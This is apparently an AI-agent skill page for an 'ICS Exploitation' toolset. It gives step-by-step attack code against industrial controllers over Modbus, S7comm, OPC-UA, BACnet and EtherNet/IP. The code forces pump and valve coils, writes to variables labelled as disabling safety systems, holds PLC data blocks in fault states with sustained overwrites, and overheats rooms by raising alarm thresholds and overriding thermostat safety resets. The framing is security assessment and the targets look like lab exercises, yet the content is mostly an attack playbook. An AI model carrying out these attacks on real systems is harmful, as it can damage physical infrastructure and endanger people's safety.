Back to skills
extension
Category: Development & EngineeringNo API key required

ics-exploitation

Exploit Industrial Control Systems using OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP protocols. Use for ICS, SCADA, PLC, building automation, HVAC, water systems, and industrial protocol security assessments.

personAuthor: jakexiaohubgithub

ICS Exploitation Skill

This skill teaches how to use the ICS Exploitation MCP for industrial control system security assessment. Supports 5 industrial protocols: OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP.

Quick Start

Check Installation

# Via MCP tool
ics_check_installation()

Modbus Attack (3 Steps)

# 1. Connect to Modbus CLI
modbus_connect("192.168.1.1", 502)

# 2. Get status and analyze coil map
modbus_get_status()

# 3. Write coils to control system (slave ID from system documentation)
modbus_write_coil(address=9947, value=True, unit_id=82)  # Enable manual mode
modbus_write_coil(address=52, value=True, unit_id=82)    # Force start output

EtherNet/IP Attack (3 Steps)

# 1. Connect to controller
ethernetip_connect("192.168.1.1", 44818)

# 2. Try reading a tag (if LogixDriver works)
ethernetip_read_tag("Status")

# 3. If tag read fails, read CIP Message Router object
ethernetip_read_cip_object(class_id=0x02, instance=1)
# Check decoded.utf16_le for data

OPC-UA Attack (3 Steps)

# 1. Discover security requirements
opcua_enumerate_endpoints("opc.tcp://target:4840")

# 2. Generate cert and connect (if encryption required)
opcua_generate_cert("./certs")
opcua_connect("opc.tcp://target:4840", "./certs/client_cert.pem", 
              "./certs/client_key.pem", "Basic256Sha256", "SignAndEncrypt")

# 3. Find and exploit writable variables
opcua_find_writable()
opcua_write("ns=2;i=38", "false", "Boolean")

S7comm Attack (3 Steps)

# 1. Connect (note: some systems use non-standard ports)
s7_connect("192.168.1.1", rack=0, slot=0, port=36815)

# 2. Enumerate and read
s7_list_blocks()
s7_db_read(db_number=1, offset=0, size=100)

# 3. Write payload
s7_db_write(db_number=1, offset=0, data="FF" * 128)

BACnet Attack (3 Steps)

# 1. Connect to building automation CLI
bacnet_connect("192.168.1.1", 48103)

# 2. Enumerate writable objects
bacnet_list_objects()
bacnet_find_writable()

# 3. Write to multiple objects at once
bacnet_write_multiple(writes=[
    {"object_type": "analogOutput", "object_id": 21, "value": 100},
    {"object_type": "analogOutput", "object_id": 22, "value": 100}
])

Workflow: OPC-UA Exploitation

Step 1: Enumerate Endpoints

Discover what security the server requires:

result = opcua_enumerate_endpoints("opc.tcp://target:4840")
# Check: result['security_policies']
# Check: result['recommendation']

If "None" in policies: Server accepts unencrypted - connect directly If encryption required: Generate certificate first

Step 2: Generate Certificate (If Needed)

Exploit insecure trust lists with self-signed cert:

certs = opcua_generate_cert("./certs")
# Returns: cert_path, key_path, thumbprint

Step 3: Connect

# Unencrypted
opcua_connect("opc.tcp://target:4840")

# Encrypted with self-signed cert
opcua_connect("opc.tcp://target:4840", 
              cert_path="./certs/client_cert.pem",
              key_path="./certs/client_key.pem",
              security_policy="Basic256Sha256",
              security_mode="SignAndEncrypt")

Step 4: Find Attack Surface

writable = opcua_find_writable()
# Returns list of writable variables with node_id, path, value, data_type

Step 5: Exploit

# Write to disable safety system
opcua_write("ns=2;i=38", "false", "Boolean")

# Change setpoint
opcua_write("ns=2;i=11", "0.0", "Double")

Step 6: Cleanup

opcua_disconnect()

Workflow: S7comm Exploitation

Step 1: Connect to PLC

# Standard port
s7_connect("192.168.1.1", rack=0, slot=0, port=102)

# Non-standard port
s7_connect("192.168.1.1", rack=0, slot=0, port=36815)

Step 2: Enumerate

# Get CPU info
s7_get_cpu_info()

# List all blocks
s7_list_blocks()
# Returns: OB, FB, FC, DB counts and DB numbers

Step 3: Read Data

# Read 100 bytes from DB1 at offset 0
s7_db_read(db_number=1, offset=0, size=100)
# Returns: data_hex, data_bytes, non_zero_bytes

Step 4: Write Payload

# Write hex string
s7_db_write(db_number=1, offset=48, data="FF" * 8)

# Generate pattern payload
payload = s7_generate_payload("all_max", 128)
s7_db_write(db_number=1, offset=0, data=payload['payload'])

Step 5: Sustained Attack (If Faults Reset)

Single offset attack:

# Continuously write to maintain fault condition
s7_sustained_attack(
    db_number=1,
    offset=0,
    data="FF" * 128,
    duration_seconds=60,
    interval_ms=200,
    status_url="http://target:8080/status"  # Optional: polls for success
)

Multi-offset attack (for 3+ simultaneous faults):

# Write to multiple offsets simultaneously
s7_sustained_attack_multi(
    db_number=1,
    writes=[
        {"offset": 0, "data": "FFFFFFFF"},
        {"offset": 32, "data": "00FF"},
        {"offset": 48, "data": "00FF"},
        {"offset": 64, "data": "FFFFFFFF"}
    ],
    duration_seconds=60,
    interval_ms=200,
    status_url="http://target:8080/status"
)

Type-aware writes (proper signed/unsigned handling):

# Use s7_db_write_typed for correct encoding
s7_db_write_typed(db_number=1, offset=32, value=255, data_type="UINT")
s7_db_write_typed(db_number=1, offset=48, value=100.5, data_type="REAL")

Step 6: Monitor Status

s7_monitor_status(
    status_url="http://target:8080/status",
    duration_seconds=30
)

Workflow: BACnet Building Automation Attack

BACnet is used for HVAC, lighting, access control, and fire detection. Common attack: overheat a room by manipulating thermostat while bypassing alarm systems.

Step 1: Connect to BACnet CLI

# Connect to menu-driven BACnet interface
bacnet_connect("192.168.1.1", 48103)

Step 2: Enumerate Objects

# List all building automation objects
objects = bacnet_list_objects()
# Look for: thermostats (analogOutput), alarms (OHAP), doors (multiStateOutput)

Key object types: | Type | Description | Access | |------|-------------|--------| | analogInput | Sensors (temperature) | Read-only | | analogOutput | Setpoints (thermostat, OHAP) | Read/Write | | binaryInput | Status indicators | Read-only | | binaryOutput | Switches (AC) | Read/Write | | multiStateOutput | Multi-value (door locks) | Read/Write |

Step 3: Write to Multiple Objects

# Write to multiple objects at once
bacnet_write_multiple(writes=[
    {"object_type": "analogOutput", "object_id": 21, "value": 100},
    {"object_type": "analogOutput", "object_id": 22, "value": 100}
])

Step 4: Prepare the Environment

# Write to door and AC controls
bacnet_write(object_type="multiStateOutput", object_id=102, value=2)
bacnet_write(object_type="binaryOutput", object_id=22, value=0)

Step 5: Sustained Write

# Continuously write to maintain state

result = bacnet_sustained_write(
    object_type="analogOutput",
    object_id=21,
    value=100,
    duration_seconds=120,
    interval_seconds=2.0,
    status_url="http://target:8080/data"
)

# Check status history
print(result['status_history'])

Step 6: Cleanup

bacnet_disconnect()

Workflow: Modbus Exploitation

Modbus is used in water systems, power grids, and manufacturing. Common attack: manipulate PLC coils to control valves, pumps, and switches.

Step 1: Connect to Modbus CLI

# Connect to menu-driven Modbus interface
modbus_connect("192.168.1.1", 502)

Step 2: Get System Status

# Retrieve current system state as JSON
status = modbus_get_status()
# Look for: auto_mode, manual_mode, in_valve, out_valve, status

Step 3: Analyze System Documentation

Review available documentation:

  • interface_setup.png: Find PLC slave address and coil mappings
  • PLC_Ladder_Logic.pdf: Understand control flow and mode switching

Key information to extract:

  • Slave address (e.g., 82 decimal = 0x52 hex)
  • Coil addresses (mode control, valves, force commands)

Step 4: Enable Manual Mode

# Switch from auto to manual mode to bypass sensor logic
# Slave ID from system docs, address from coil map
modbus_write_coil(address=9947, value=True, unit_id=82)

Step 5: Manipulate System

# Use force commands or direct coil writes
modbus_write_coil(address=52, value=True, unit_id=82)   # force_start_out
modbus_write_coil(address=26, value=True, unit_id=82)   # cutoff_in

Step 6: Verify Success

# Check status to confirm changes
status = modbus_get_status()
print(status['status'])

Step 7: Cleanup

modbus_disconnect()

Key Insight: Direct valve writes may not work due to ladder logic overrides. Use mode switching and force commands to bypass sensor-driven logic.


Workflow: EtherNet/IP Exploitation

EtherNet/IP uses CIP (Common Industrial Protocol) for Allen-Bradley/Rockwell controllers. Common attack: read tags or CIP objects to find sensitive data.

Step 1: Connect to Controller

# Connect to EtherNet/IP controller (default port 44818)
ethernetip_connect("192.168.1.1", 44818)

# The driver type returned indicates available features:
# - LogixDriver: Full tag access (read/write by name)
# - CIPDriver: Low-level CIP object access only

Step 2: Try Tag Reading (If LogixDriver)

# Attempt to read a tag directly
result = ethernetip_read_tag("Status")

# If error "LogixDriver required", proceed to Step 3

Step 3: Read CIP Objects

# Message Router (class 0x02) often contains hidden data
result = ethernetip_read_cip_object(class_id=0x02, instance=1)

# Check the decoded field for data
print(result['decoded'])  # Look for utf16_le, utf8, or ascii

Step 4: Enumerate CIP Objects

# Scan common CIP classes for accessible data
objects = ethernetip_enumerate_objects()

# Review results for decoded strings
for obj in objects['results']:
    if obj['decoded']:
        print(f"Class {obj['class_id']}, Instance {obj['instance']}: {obj['decoded']}")

Step 5: Cleanup

ethernetip_disconnect()

Common CIP Classes: | Class | Hex | Description | |-------|-----|-------------| | Identity | 0x01 | Device info (vendor, product) | | Message Router | 0x02 | May contain sensitive data | | Assembly | 0x04 | I/O assemblies | | Connection Manager | 0x06 | Connection management | | Symbol | 0xAC | Tag/symbol information |

Key Insight: Data is often UTF-16-LE encoded in Message Router objects. The read_cip_object tool auto-decodes multiple encodings.


Workflow: Memory Mapping

When you don't know which memory offsets control what:

# 1. Connect
s7_connect("target", 0, 0, port)

# 2. Scan each byte and observe HMI changes
s7_scan_db_effects(
    db_number=1,
    status_url="http://target:8080/status",
    start_offset=0,
    end_offset=128
)
# Returns: offset_map showing which bytes affect which equipment

Troubleshooting

| Problem | Solution | |---------|----------| | OPC-UA connection refused | Check port (default 4840), verify OPC-UA server | | "Security policy mismatch" | Use opcua_enumerate_endpoints to find supported policies | | S7 "TCP : Unreachable peer" | Wrong IP or port, check for non-standard port | | S7 "Address out of range" | Use s7_db_get_size() to check block size | | Faults auto-reset | Use s7_sustained_attack or bacnet_sustained_write | | Need 3+ simultaneous faults | Use s7_sustained_attack_multi with multiple offsets | | Value wraps to negative | Use s7_db_write_typed with correct data type (UINT, UDINT) | | No success indicator | Monitor HMI with s7_monitor_status, check status API | | BACnet "mission failed" | Raise OHAP thresholds BEFORE heating | | BACnet thermostat resets | Use bacnet_sustained_write to override safety reset | | BACnet alarm triggers | OHAP too low - raise to 200C first | | BACnet connection timeout | Check port, ensure menu-driven CLI is available | | Modbus "command sent" but no change | Check slave ID matches system docs (often not 1) | | Modbus valve won't respond | Use mode control coils first, then force commands | | Modbus wrong address format | Use decimal addresses, MCP converts to hex | | EtherNet/IP "LogixDriver failed" | Use read_cip_object for low-level CIP access | | EtherNet/IP tag doesn't exist | Tag may be in CIP object, try enumerate_objects | | EtherNet/IP raw data unreadable | Check decoded field for utf16_le encoding | | pycomm3 not installed | pip install pycomm3 for EtherNet/IP support |


Additional Resources